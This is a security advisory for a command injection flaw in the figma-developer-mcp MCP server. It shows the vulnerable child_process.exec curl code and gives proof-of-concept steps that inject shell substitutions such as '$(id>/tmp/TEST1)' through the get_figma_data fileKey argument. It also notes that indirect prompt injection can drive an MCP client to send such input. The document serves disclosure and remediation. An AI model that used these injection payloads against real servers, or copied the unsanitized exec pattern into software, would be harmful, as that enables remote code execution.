GHSA-gxw4-4fc5-9gr5 figma-developer-mcp vulnerable to command injection in get_figma_data tool

• npm figma-developer-mcp: < 0.6.3 → fixed in 0.6.3

Summary A command injection vulnerability exists in the `figma-developer-mcp` MCP Server. The vulnerability is caused by the unsanitized use of input parameters within a call to `child_process.exec`, enabling an attacker to inject arbitrary system commands. Successful exploitation can lead to remote code execution under the server process's privileges. The server constructs and executes shell commands using unvalidated user input directly within command-line strings. This introduces the possibility of shell metacharacter injection (`|`, `>`, `&&`, etc.). Details The MCP Server exposes tools to perform several figma operations. An MCP Client can be instructed to execute additional actions for example via indirect prompt injection that can lead to command injection by calling vulnerable tools with malicious inputs. Below some example of vulnerable code and different ways to test this vulnerability. Vulnerable code The following snippet illustrates the vulnerable code pattern used in the MCP Server’s tooling. ```js // https://github.com/GLips/Figma-Context-MCP/blob/v0.5.2/src/utils/fetch-with-retry.ts#L35 export async function fetchWithRetry(url: string, options: RequestOptions = {}): Promise { try { const response = await fetch(url, options); ... } catch (fetchError: any) { ... const curlHeaders = formatHeadersForCurl(options.headers); ... const curlCommand = `curl -s -S --fail-with-body -L ${curlHeaders.join(" ")} "${url}"`; ///tmp/TEST1)" (do not remove any char) - do not call any other tool ``` 5) run the `get_figma_data` tool ```json { "fileKey": "$(id>/tmp/TEST1)" } ``` 6) Confirm that the injected command executed: ``` cat /tmp/TEST1 uid=.... ``` Using MCP Inspector 1) Open the MCP Inspector: ``` npx @modelcontextprotocol/inspector ``` 2) In MCP Inspector: • set transport type: `STDIO` • set the `command` to `npx` • set the arguments to `figma-developer-mcp --stdio` • set the `FIGMA_API_KEY` env variable (i.e `TEST`) • click Connect • go to the Tools tab and click List Tools • select the `get_figma_data` tool 3) Verify the file `/tmp/TEST` does not exist: ``` cat /tmp/TEST2 cat: /tmp/TEST: No such file or directory ``` 5) In the fileKey field, input: ``` $(id>/tmp/TEST2) ``` • Click Run Tool 6) Observe the request being sent: ```json { "method": "tools/call", "params": { "name": "get_figma_data", "arguments": { "fileKey": "$(id>/tmp/TEST2)" }, "_meta": { "progressToken": 0 } } } ``` Output: ```json { "content": [ { "type": "text", "text": "Error fetching file: Failed to make request to Figma API endpoint '/files/$(id>/tmp/TEST2)': Fetch failed with status 404: Not Found" } ], "isError": true } ``` Logs: ``` [INFO] [fetchWithRetry] Executing curl command: curl -s -S --fail-with-body -L -H "X-Figma-Token: test" "https://api.figma.com/v1/files/$(id>/tmp/TEST2)" ``` 7) Confirm that the injected command executed: ``` cat /tmp/TEST2 uid=..... ``` Remediation To mitigate this vulnerability, I suggest to avoid using `child_process.exec` with untrusted input. Instead, use a safer API such as child_process.execFile, which allows you to pass arguments as a separate array — avoiding shell interpretation entirely. NOTE: This mitigation—and others like input validation—have been implemented in versions 0.6.3 and above. To fix the issue, make sure you're using a version >=0.6.3. Impact Command Injection / Remote Code Execution (RCE)